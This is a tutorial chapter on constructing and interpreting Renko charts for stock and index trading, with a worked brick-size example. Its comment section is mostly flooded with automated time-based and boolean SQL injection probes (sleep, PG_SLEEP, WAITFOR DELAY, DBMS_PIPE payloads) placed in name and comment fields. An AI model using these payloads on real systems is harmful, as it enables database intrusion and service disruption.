Renko Charts

In an earlier chapter, we talked about various types of charts. These included four of the most popular chart types used by technicians around the world – line chart, bar chart, candlestick chart, and point & figure chart. However, there are a few other charts that havebeen gaining popularity among traders in recent times. The idea of the next four chapters is to discuss about the charts that are not as widely used as the traditional ones, but nonetheless do provide some valuable and unique information. The charts that we would be discussing over the next four chapters are:

Renko charts
Line break chart
Kagi chart
Heikin-Ashi chart

Introduction to Renko Charts

Renko charts were developed by the Japanese, but they are today gaining popularity around the world. They loosely resemble point & figure charts in terms of their rules. While point & figure charts are classified as having either an X-column (bullish) or an O-column (bearish), Renko charts are classified by the appearance of bricks (Renko is derived from the Japanese word “Renga”, which means “bricks”). Unlike point and figure chart which can have multiple boxes in one column, Renko chart has only one brick per column. Each column in a Renko chart is either a bullish column (usually represented by a green brick) or a bearish column (usually represented by a red brick).

Characteristics of Renko charts

For using a Renko chart, the user must first define the size of each brick. For instance, if the user wants to look at the Renko chart of Nifty, he can select any brick size that he wants to, such as 1, 5, 10, 100 etc. Keep in mind that the shorter the size of each brick, the shorter is the time frame of the chart, and vice versa. Unlike point & figure charts which are defined by the box size and the reversal size, Renko charts are defined by the brick size only.

For a new brick to emerge, the market must move by at least the size of one brick.In other words, for a new green brick to emerge, the market must rise by the size of at least one brick from the current brick high, and for a new red brick to emerge, the market must fall by the size of at least one brick from the current brick low. Any move that is less than the size of one brick is ignored and the Renko chart remains unchanged.

Construction of Renko charts

Let us try to simplify this further by explainingRenko charts using a simple, theoretical example. Let us assume a few things as follows: the current day closing price of the security is 102, the brick size is 5, time frame is “daily closing price”, the current brick is green (bullish brick) that has a high of 100 and a low of 95 (keep in mind that if the brick size is 5, the width of each brick will be a fixed 5 point, i.e. the difference between the high and the low of each brick will be 5). As the high and the low of the current brick are 100 and 95, respectively, for the trend to continue, i.e. for a new green brick to emerge, price must rise to at least 105 (current brick high of 100 + brick size of 5). Similarly, for the trend to reverse, i.e. for a new red brick to emerge, price must fall to at least 90 (current brick low of 95 - brick size of 5). As long as the price will not rise to at least 105 or fall to at least 90, the Renko chart will not move. In other words, just like point & figure charts, Renko charts only take into consideration the movements in price and ignore the changes in time. An advantage of this is that Renko charts filter out the noise element of the market and only consider moves that are at least as large as the brick size.

A thing to always remember is that each column in a Renko chart will contain only one brick and no more. Also, consecutive bricks will never appear next to each other. In other words, two bricks will never appear next to each other between consecutive columns.

With that in mind, let us continue with the example mentioned above to gain a better understanding of how Renko charts move. Kindly note that we have taken daily closing price as our time frame. Usually, Renko charts are constructed on a closing price basis on various time frames such as intraday, daily, weekly, and monthly. For our purpose, we will take ‘daily’ time frame into consideration.

Day #	Closing Price	Will New Brick Print?	Colour of Brick	Current Brick		# of Bricks Printed
Day #	Closing Price	Will New Brick Print?	Colour of Brick	High	Low	# of Bricks Printed
1	102			100	95
2	104	No		100	95
3	98	No		100	95
4	103	No		100	95
5	106	Yes	Green	105	100	1
6	109	No		105	100
7	111	Yes	Green	110	105	1
8	114	No		110	105
9	119	Yes	Green	115	110	1
10	116	No		115	110
11	115	No		115	110
12	109	No		115	110
13	104	Yes	Red	110	105	1
14	106	No		110	105
15	111	No		110	105
16	118	Yes	Green	115	110	1
17	116	No		115	110
18	114	No		115	110
19	127	Yes	Green	125	120	2
20	126	No		125	120
21	122	No		125	120
22	123	No		125	120
23	120	No		125	120
24	123	No		125	120
25	137	Yes	Green	135	130	2
26	114	Yes	Red	120	115	3

As stated earlier, the base value i.e. the value of the closing price on day 1 is 102 and the current brick is a green brick that has a high of 100 and a low of 95. For a new brick to print, the price must rise to at least 105 (i.e. rise by at least 5 points from the current brick high) or fall to at least 90 (i.e. fall by at least 5 points from the current brick low). This doesn’t happen from day 2 to 4, hence price action during these days are ignored. However, on day 5, the price crosses above 105, hence a new green brick in printed in a new column. Now for a new brick to emerge, the price must rise to at least 110 or fall to at least 95, which happens not on day 6 but on day 7. Hence, a new brick is added on day 7. Similarly, one more new brick is added on day 9. For a new brick to now emerge, the price must rise to at least 120 or fall to at least 105. Nothing happens between days 10 to 12, but on day 13, the price drops below 105. Hence, a new red brick is now printed on day 13. As of day 13, the current brick high and low are 110 and 105, respectively. For a new brick to emerge, the price must rise to at least 115 or drop to at least 100. This happens on day 16 when the price rises above 115, causing a new green brick to emerge. As of day 16, the current brick high and low are 115 and 110, respectively. Now observe what happens on day 19. On this day, as compared to the current brick high (115), the price has risen by 12 points. Hence, not 1 but 2 new green bricks would be added to account for this change. Now, the current brick high and low are 125 and 120, respectively. Nothing happens between days 20 and 24, hence the chart remains as is. On day 25, the price rises by another 12 points from the current brick high (125). Hence, two more bricks are added on day 25. Now, the current brick high and low are 135 and 130, respectively. For new brick to emerge, the price must rise to at least 140 or fall to at least 125. Notice that on day 26, the price drops by 16 points from the current brick low (130). Hence, 3 new red bricks are added on day 26 to account for this drop in price. The current brick high and low are now 120 and 115, respectively. For a new brick to emerge in the days ahead, the price must rise to at least 125 or fall to at least 110.

Let us now see how the Renko chart for the above price action would appear graphically.

Compare the table with the above chart. Observe that there were a total of 26 closes. However, only 8 closes were taken into consideration. The rest of the closes were ignored as they did not meet the brick size criteria. This is the advantage of using Renko charts as they tend to filter out the noise element and instead focus more on the trend.

Let us now summarize some of the rules of Renko charts that we have so far discussed:

Renko charts are defined by their brick size, the width of which remains fixed throughout.
Changing the brick size will affect the sensitivity of the chart. Larger the brick size, lower is the sensitivity to price, and vice versa.
Each column contains only one brick, which is either bullish or bearish.
Usually, Renko charts are based on closing prices.
Any time frame can be selected, such as intraday, daily, weekly, monthly etc.
For a new brick to emerge, price must change by the value of at least one brick from the current brick high or low.
Only the current brick high or low must be taken into consideration when comparing it with the current price.
From the current brick high or low, any price movement that is less than the size of one brick is ignored.
Renko charts filter out the noise element of the market and only consider moves that are at least as large as the brick size.
Two bricks will never appear next to each other between consecutive columns.
Renko charts that are based on daily closing price will take into consideration only the day’s close, and so forth. The high or the low of the day would be ignored. What matters is the close.

Let us now see how Renko charts would look like in the real world. Below is the Renko chart of Bank Nifty index, wherein the brick size is 50, and the chart is based on daily closing price.

Notice above how smooth the chart can get, when the underlying instrument is trending. By ignoring the day-to-day unwanted volatility and price fluctuation, the trader can instead focus on the trend of the underlying security.

The chart below is the Renko chart of Nifty 50 index, wherein the brick size is 100, and the chart is based on weekly closing price.

As this is the weekly chart, we are dealing with a larger time frame than the one observed in case of Bank Nifty chart earlier, which was based on daily closing. Observe the trend of the index in this chart. Notice how smooth the overall uptrend is, especially from 2012 to early 2015 and then again from 2016 till date. The advantage of using Renko charts is that it filters out the unnecessary noise and instead allows one to focus on the broader trends.

How to analyse and interpret Renko charts

One of the simplest way of using Renko charts is to trade in the direction of the prevailing trend. Let us explain this using the chart of Nifty for the time period between 2015 and 2018. Let us assume a brick size of 50 and a time frame based on daily closing price. We have also plotted two moving averages (10-day SMA and 30-day SMA). One thing worth keeping in mind is that indicators on Renko charts differ slightly from those on other charts. In bar charts or in candle charts, as the time scale is fixed, indicators are based on each period’s price action. For instance, a 10-period SMA in a bar chart would be based on the price action of the past 10 periods or bars. However, in Renko charts, as the time scale is not fixed, indicators are based on the number of bricks rather than on the number of periods. For instance, a 10-day SMA on Renko chart is not based on the price action of the last ten periods, but rather on the price action of the past 10 bricks.

It can be observed in the chart that Nifty was in a downtrend for most of 2015. Also, during this period, both the moving averages were pointing lower, indicating that the inherent trend is bearish. This suggests that one should trade on the short side, utilizing recoveries to go short until evidence emerges that the downtrend could be ending or has ended. Midway through 2015, a bullish signal was hinted after price broke above the late-May high. However, there was no follow-through strength.The recovery soon ran out of steam and the downtrend resumed. One can utilize rallies during a bear market or break below previous lows to go short, as long as the overall sequence of lower highs and lower lows are intact.

During early 2016 however, early signs of market bottom emerged after the index formed a double bottom kind of pattern in February. Break above the high of this pattern suggested that the downtrend might have entered its last stages. The continued rally in the index coupled with the change in the direction of the moving averages from down to up and short-term MA crossing above long-term MA signalled that the downtrend has probably ended. This would suggest one to close out all the short positions, and start building long positions, by keeping a stop loss below the recent lowest low. Notice how the Nifty continued heading higher in the coming months. The correction in late-2016 ended at 50% fibonacci retracement (not shown in the chart) of the previous up move, along with the emergence and the breakout of a double bottom pattern towards the end of 2016. This signalled an end of the correction and the resumption of the uptrend. Notice how steadily Nifty rose in 2017.

During a bear market, one can utilize recoveries to build short positions and downside breakouts to add further short positions. Similarly, during a bull market, one can utilize declines to build long positions and upside breakouts to add more long positions. The principles of Dow theory can be applied effectively to Renko charts as well. Moreover, this can also be complemented with various technical indicators. The only drawback is that if the market enters a prolonged sideways or a non-trending phase, a lot of false signals could be generated. As such, it becomes pivotal to utilize Renko charts not in isolation but complement it with other charts and filters.

The above chart is the daily Renko chart of Reliance Industries based on closing price. The brick size is 10. Notice how Renko charts can also be used to identify resistance and support. Observe how the break of a former resistance zone led to a strong price rally. Also observe that during this upside price breakout, a bullish moving average crossover signal was generated, and both the averages were pointing higher at the time of the price breakout, indicating the odds of a successful breakout rather than a false one. Post the upside breakout, observe that there was one steep correction. However, notice that the moving averages did not give a bearish signal. Instead, the shorter-term MA took support exactly at the longer-term MA and started to head higher again. This signalled the continuation of the up move in price.

The uptrend, however, eventually ended when price broke below a support zone. Again, observe that during this downside price breakout, a bearish moving average crossover signal was being generated, and both the averages were pointing lower at the time of the break, indicating the odds of a successful downside breakout rather than a false one.

As can be seen in the above chart, Renko charts can be utilized with various traditional price tools and technical indicators too. Doing so increases the validity of Renko charts.

Next Chapter

Line Break Charts

10 Lessons

Similar to Renko Charts, Line Break charts only emphasizes price and ignores changes in time. Learn more about this in the chapter.

Kagi Charts

4 Lessons

Similar to Renko & Line Break charts, Kagi emphasizes the prevailing trend and ignored the noise unless the move is meaningful. Learn more about it in this chapter.

Comments & Discussions in

FYERS Community

Responses

surya commented on July 4th, 2019 at 11:25 AM
Please check Renko charts explanation ( In the Table give, many times close price is above the High of Day. How is that possible.)

Shriram commented on January 26th, 2020 at 5:52 PM
Hi Surya, whenever the high or low exceeds the range of the prevailing bar, a new Renko bar appears following it in the next column. Keep in mind that the width of the Renko bar is fixed.

Siddhu Gaddi commented on July 5th, 2019 at 6:44 PM
Renko Chart, work beautifully for Positional trade.
If you marry with EW then it works more beautiful.

Shriram commented on January 26th, 2020 at 5:53 PM
Hi Siddhu, i agree with you. Renko charts are excellent for longer-term trades as they eliminate the noise element of the market, just like Point and figure chart does.

wUmrLVWz commented on March 30th, 2022 at 6:35 PM
555

wUmrLVWz commented on March 30th, 2022 at 6:37 PM
555

-1 OR 2+144-144-1=0+0+0+1 -- commented on March 30th, 2022 at 6:37 PM
555

-1 OR 2+325-325-1=0+0+0+1 commented on March 30th, 2022 at 6:37 PM
555

-1' OR 2+889-889-1=0+0+0+1 -- commented on March 30th, 2022 at 6:37 PM
555

-1' OR 2+47-47-1=0+0+0+1 or 'cPuDiaLP'=' commented on March 30th, 2022 at 6:37 PM
555

-1" OR 2+717-717-1=0+0+0+1 -- commented on March 30th, 2022 at 6:37 PM
555

if(now()=sysdate(),sleep(15),0) commented on March 30th, 2022 at 6:37 PM
555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z commented on March 30th, 2022 at 6:37 PM
555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z commented on March 30th, 2022 at 6:37 PM
555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ commented on March 30th, 2022 at 6:38 PM
555

1 waitfor delay '0:0:15' -- commented on March 30th, 2022 at 6:38 PM
555

7BzG5IpL'; waitfor delay '0:0:15' -- commented on March 30th, 2022 at 6:38 PM
555

nea7s9ms' OR 924=(SELECT 924 FROM PG_SLEEP(15))-- commented on March 30th, 2022 at 6:38 PM
555

TYgV8JMx') OR 436=(SELECT 436 FROM PG_SLEEP(15))-- commented on March 30th, 2022 at 6:38 PM
555

S4opScpD')) OR 573=(SELECT 573 FROM PG_SLEEP(15))-- commented on March 30th, 2022 at 6:38 PM
555

wUmrLVWz'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' commented on March 30th, 2022 at 6:38 PM
555

1'" commented on March 30th, 2022 at 6:39 PM
555

@@zBnd5 commented on March 30th, 2022 at 6:39 PM
555

wUmrLVWz commented on March 30th, 2022 at 6:39 PM
555

wUmrLVWz commented on March 30th, 2022 at 6:39 PM
-1 OR 2+511-511-1=0+0+0+1 --

wUmrLVWz commented on March 30th, 2022 at 6:39 PM
-1 OR 2+32-32-1=0+0+0+1

wUmrLVWz commented on March 30th, 2022 at 6:39 PM
-1' OR 2+559-559-1=0+0+0+1 --

wUmrLVWz commented on March 30th, 2022 at 6:39 PM
-1' OR 2+185-185-1=0+0+0+1 or 'ahX8JLre'='

wUmrLVWz commented on March 30th, 2022 at 6:39 PM
-1" OR 2+104-104-1=0+0+0+1 --

wUmrLVWz commented on March 30th, 2022 at 6:39 PM
if(now()=sysdate(),sleep(15),0)

wUmrLVWz commented on March 30th, 2022 at 6:39 PM
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

wUmrLVWz commented on March 30th, 2022 at 6:40 PM
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

wUmrLVWz commented on March 30th, 2022 at 6:40 PM
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

wUmrLVWz commented on March 30th, 2022 at 6:40 PM
-1; waitfor delay '0:0:15' --

wUmrLVWz commented on March 30th, 2022 at 6:40 PM
-1); waitfor delay '0:0:15' --

wUmrLVWz commented on March 30th, 2022 at 6:40 PM
1 waitfor delay '0:0:15' --

wUmrLVWz commented on March 30th, 2022 at 6:40 PM
NonupmQP'; waitfor delay '0:0:15' --

wUmrLVWz commented on March 30th, 2022 at 6:40 PM
-5 OR 274=(SELECT 274 FROM PG_SLEEP(15))--

wUmrLVWz commented on March 30th, 2022 at 6:41 PM
-5) OR 197=(SELECT 197 FROM PG_SLEEP(15))--

wUmrLVWz commented on March 30th, 2022 at 6:41 PM
-1)) OR 527=(SELECT 527 FROM PG_SLEEP(15))--

wUmrLVWz commented on March 30th, 2022 at 6:41 PM
AOzI5IqX' OR 173=(SELECT 173 FROM PG_SLEEP(15))--

wUmrLVWz commented on March 30th, 2022 at 6:41 PM
zNo7eS5Y') OR 407=(SELECT 407 FROM PG_SLEEP(15))--

wUmrLVWz commented on March 30th, 2022 at 6:41 PM
zFgAMRQ7')) OR 395=(SELECT 395 FROM PG_SLEEP(15))--

wUmrLVWz commented on March 30th, 2022 at 6:41 PM
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

wUmrLVWz commented on March 30th, 2022 at 6:42 PM
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

wUmrLVWz commented on March 30th, 2022 at 6:42 PM
1'"

wUmrLVWz commented on March 30th, 2022 at 6:42 PM
@@FIbv7

wUmrLVWz commented on March 30th, 2022 at 6:42 PM
555

wUmrLVWz commented on March 30th, 2022 at 6:43 PM
555

wUmrLVWz commented on March 30th, 2022 at 6:44 PM
555

wUmrLVWz commented on March 30th, 2022 at 6:45 PM
555

wUmrLVWz commented on March 30th, 2022 at 6:46 PM
555

wUmrLVWz commented on March 30th, 2022 at 6:47 PM
555

wUmrLVWz commented on March 30th, 2022 at 6:49 PM
555

wUmrLVWz commented on March 30th, 2022 at 6:50 PM
555

wUmrLVWz commented on March 30th, 2022 at 6:52 PM
555

wUmrLVWz commented on March 30th, 2022 at 6:55 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:43 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:51 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:58 PM
555

-1 OR 2+898-898-1=0+0+0+1 -- commented on November 9th, 2023 at 8:58 PM
555

-1 OR 2+953-953-1=0+0+0+1 commented on November 9th, 2023 at 8:58 PM
555

-1' OR 2+446-446-1=0+0+0+1 -- commented on November 9th, 2023 at 8:58 PM
555

-1' OR 2+125-125-1=0+0+0+1 or 'eNQXZuC5'=' commented on November 9th, 2023 at 8:58 PM
555

-1" OR 2+455-455-1=0+0+0+1 -- commented on November 9th, 2023 at 8:58 PM
555

if(now()=sysdate(),sleep(15),0) commented on November 9th, 2023 at 8:59 PM
555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z commented on November 9th, 2023 at 8:59 PM
555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z commented on November 9th, 2023 at 9:00 PM
555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ commented on November 9th, 2023 at 9:00 PM
555

1 waitfor delay '0:0:15' -- commented on November 9th, 2023 at 9:01 PM
555

zO4LqXjp'; waitfor delay '0:0:15' -- commented on November 9th, 2023 at 9:02 PM
555

SPzeiTQ2' OR 302=(SELECT 302 FROM PG_SLEEP(15))-- commented on November 9th, 2023 at 9:02 PM
555

NPXmCpGw') OR 791=(SELECT 791 FROM PG_SLEEP(15))-- commented on November 9th, 2023 at 9:03 PM
555

duFobBa4')) OR 347=(SELECT 347 FROM PG_SLEEP(15))-- commented on November 9th, 2023 at 9:03 PM
555

wrBEIRqX'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' commented on November 9th, 2023 at 9:04 PM
555

1'" commented on November 9th, 2023 at 9:04 PM
555

@@hBGhb commented on November 9th, 2023 at 9:04 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:05 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:05 PM
-1 OR 2+778-778-1=0+0+0+1 --

wrBEIRqX commented on November 9th, 2023 at 9:05 PM
-1 OR 2+929-929-1=0+0+0+1

wrBEIRqX commented on November 9th, 2023 at 9:05 PM
-1' OR 2+939-939-1=0+0+0+1 --

wrBEIRqX commented on November 9th, 2023 at 9:05 PM
-1' OR 2+133-133-1=0+0+0+1 or '60250v1e'='

wrBEIRqX commented on November 9th, 2023 at 9:05 PM
-1" OR 2+701-701-1=0+0+0+1 --

wrBEIRqX commented on November 9th, 2023 at 9:06 PM
if(now()=sysdate(),sleep(15),0)

wrBEIRqX commented on November 9th, 2023 at 9:06 PM
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

wrBEIRqX commented on November 9th, 2023 at 9:07 PM
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

wrBEIRqX commented on November 9th, 2023 at 9:08 PM
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

wrBEIRqX commented on November 9th, 2023 at 9:08 PM
-1; waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 9:09 PM
-1); waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 9:09 PM
1 waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 9:10 PM
ovZAf8ma'; waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 9:11 PM
-5 OR 972=(SELECT 972 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 9:11 PM
-5) OR 214=(SELECT 214 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 9:12 PM
-1)) OR 989=(SELECT 989 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 9:13 PM
qpuiVTAw' OR 643=(SELECT 643 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 9:13 PM
I9biKSEl') OR 761=(SELECT 761 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 9:14 PM
iKk5YAd2')) OR 203=(SELECT 203 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 9:15 PM
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

wrBEIRqX commented on November 9th, 2023 at 9:15 PM
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

wrBEIRqX commented on November 9th, 2023 at 9:15 PM
1'"

wrBEIRqX commented on November 9th, 2023 at 9:16 PM
@@9HDuo

wrBEIRqX commented on November 9th, 2023 at 9:16 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:17 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:18 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:19 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:20 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:21 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:22 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:23 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:24 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:25 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:26 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:27 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:28 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:29 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:30 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:31 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:32 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:33 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:34 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:35 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:36 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:45 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:54 PM
555

wrBEIRqX commented on November 9th, 2023 at 10:07 PM
555

wrBEIRqX commented on November 9th, 2023 at 10:08 PM
555

wrBEIRqX commented on November 9th, 2023 at 10:09 PM
555

zbdrariI commented on November 13th, 2023 at 2:27 AM
555

zbdrariI commented on November 13th, 2023 at 2:28 AM
555

zbdrariI commented on November 13th, 2023 at 2:29 AM
555

zbdrariI commented on November 13th, 2023 at 2:30 AM
555

1'" commented on November 13th, 2023 at 2:30 AM
555

@@gf93G commented on November 13th, 2023 at 2:30 AM
555

zbdrariI commented on November 13th, 2023 at 2:31 AM
555

zbdrariI commented on November 13th, 2023 at 2:32 AM
1'"

zbdrariI commented on November 13th, 2023 at 2:33 AM
@@Z5a4N

zbdrariI commented on November 13th, 2023 at 2:33 AM
555

zbdrariI commented on November 13th, 2023 at 2:34 AM
555

zbdrariI commented on November 13th, 2023 at 2:35 AM
555

zbdrariI commented on November 13th, 2023 at 2:36 AM
555

zbdrariI commented on November 13th, 2023 at 2:37 AM
555

zbdrariI commented on November 13th, 2023 at 2:39 AM
555

zbdrariI commented on November 13th, 2023 at 2:48 AM
555

zbdrariI commented on December 2nd, 2023 at 11:07 AM
555

zbdrariI commented on December 2nd, 2023 at 11:11 AM
555

zbdrariI commented on December 2nd, 2023 at 11:12 AM
555

zbdrariI commented on December 2nd, 2023 at 11:16 AM
555

1'" commented on December 2nd, 2023 at 11:19 AM
555

@@WFSyh commented on December 2nd, 2023 at 11:19 AM
555

zbdrariI commented on December 2nd, 2023 at 11:20 AM
555

zbdrariI commented on December 2nd, 2023 at 11:25 AM
1'"

zbdrariI commented on December 2nd, 2023 at 11:25 AM
@@aKnFQ

zbdrariI commented on December 2nd, 2023 at 11:26 AM
555

zbdrariI commented on December 2nd, 2023 at 11:27 AM
555

zbdrariI commented on December 2nd, 2023 at 11:30 AM
555

zbdrariI commented on December 2nd, 2023 at 11:31 AM
555

zbdrariI commented on December 2nd, 2023 at 11:32 AM
555

zbdrariI commented on December 2nd, 2023 at 11:35 AM
555

zbdrariI commented on December 2nd, 2023 at 11:36 AM
555

zbdrariI commented on December 2nd, 2023 at 11:40 AM
555

zbdrariI commented on December 2nd, 2023 at 11:44 AM
555

zbdrariI commented on December 2nd, 2023 at 11:51 AM
555

WkYxnTGh commented on December 2nd, 2023 at 10:50 PM
555

WkYxnTGh commented on December 2nd, 2023 at 10:56 PM
555

WkYxnTGh commented on December 2nd, 2023 at 10:57 PM
555

WkYxnTGh commented on December 2nd, 2023 at 11:01 PM
555

1'" commented on December 2nd, 2023 at 11:05 PM
555

@@o89LE commented on December 2nd, 2023 at 11:05 PM
555

WkYxnTGh commented on December 2nd, 2023 at 11:05 PM
555

WkYxnTGh commented on December 2nd, 2023 at 11:09 PM
1'"

WkYxnTGh commented on December 2nd, 2023 at 11:10 PM
@@F79Cm

WkYxnTGh commented on December 2nd, 2023 at 11:10 PM
555

WkYxnTGh commented on December 2nd, 2023 at 11:12 PM
555

WkYxnTGh commented on December 2nd, 2023 at 11:13 PM
555

WkYxnTGh commented on December 2nd, 2023 at 11:14 PM
555

WkYxnTGh commented on December 2nd, 2023 at 11:15 PM
555

WkYxnTGh commented on December 2nd, 2023 at 11:16 PM
555

WkYxnTGh commented on December 2nd, 2023 at 11:17 PM
555

WkYxnTGh commented on December 2nd, 2023 at 11:18 PM
555

WkYxnTGh commented on December 2nd, 2023 at 11:20 PM
555

WkYxnTGh commented on December 2nd, 2023 at 11:21 PM
555

wUmrLVWz commented on December 15th, 2023 at 5:48 PM
555

wUmrLVWz commented on December 15th, 2023 at 5:55 PM
555

wUmrLVWz commented on December 15th, 2023 at 5:56 PM
555

wUmrLVWz commented on December 15th, 2023 at 5:57 PM
555

1'" commented on December 15th, 2023 at 5:57 PM
555

@@uKRn1 commented on December 15th, 2023 at 5:57 PM
555

wUmrLVWz commented on December 15th, 2023 at 5:58 PM
555

wUmrLVWz commented on December 15th, 2023 at 5:59 PM
1'"

wUmrLVWz commented on December 15th, 2023 at 5:59 PM
@@FoAgC

wUmrLVWz commented on December 15th, 2023 at 5:59 PM
555

wUmrLVWz commented on December 15th, 2023 at 6:00 PM
555

wUmrLVWz commented on December 15th, 2023 at 6:01 PM
555

wUmrLVWz commented on December 15th, 2023 at 6:02 PM
555

wUmrLVWz commented on December 15th, 2023 at 6:03 PM
555

wUmrLVWz commented on December 15th, 2023 at 6:04 PM
555

wUmrLVWz commented on December 15th, 2023 at 6:05 PM
555

WkYxnTGh commented on January 4th, 2024 at 7:18 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:02 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:03 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:09 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:10 AM
555

1'" commented on January 4th, 2024 at 8:11 AM
555

@@Q8SRy commented on January 4th, 2024 at 8:11 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:13 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:14 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:16 AM
1'"

WkYxnTGh commented on January 4th, 2024 at 8:18 AM
@@6zWIY

WkYxnTGh commented on January 4th, 2024 at 8:19 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:20 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:21 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:22 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:24 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:25 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:26 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:27 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:28 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:29 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:31 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:32 AM
555

WkYxnTGh commented on January 4th, 2024 at 8:34 AM
555

zFPWdwPk commented on January 9th, 2024 at 8:22 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:27 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:28 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:29 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:30 PM
555

1'" commented on January 9th, 2024 at 8:30 PM
555

@@d1CdX commented on January 9th, 2024 at 8:30 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:31 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:32 PM
1'"

zFPWdwPk commented on January 9th, 2024 at 8:33 PM
@@pumWe

zFPWdwPk commented on January 9th, 2024 at 8:33 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:34 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:35 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:36 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:37 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:38 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:39 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:41 PM
555

zFPWdwPk commented on January 9th, 2024 at 8:51 PM
555

JMgfoull commented on January 31st, 2024 at 7:44 AM
555

JMgfoull commented on January 31st, 2024 at 8:14 AM
555

JMgfoull commented on January 31st, 2024 at 8:15 AM
555

JMgfoull commented on January 31st, 2024 at 8:18 AM
555

JMgfoull commented on January 31st, 2024 at 8:19 AM
555

1'" commented on January 31st, 2024 at 8:21 AM
555

@@7NC7D commented on January 31st, 2024 at 8:21 AM
555

JMgfoull commented on January 31st, 2024 at 8:22 AM
555

JMgfoull commented on January 31st, 2024 at 8:23 AM
555

JMgfoull commented on January 31st, 2024 at 8:26 AM
1'"

JMgfoull commented on January 31st, 2024 at 8:26 AM
@@gOB7q

JMgfoull commented on January 31st, 2024 at 8:27 AM
555

JMgfoull commented on January 31st, 2024 at 8:29 AM
555

JMgfoull commented on January 31st, 2024 at 8:30 AM
555

JMgfoull commented on January 31st, 2024 at 8:31 AM
555

JMgfoull commented on January 31st, 2024 at 8:33 AM
555

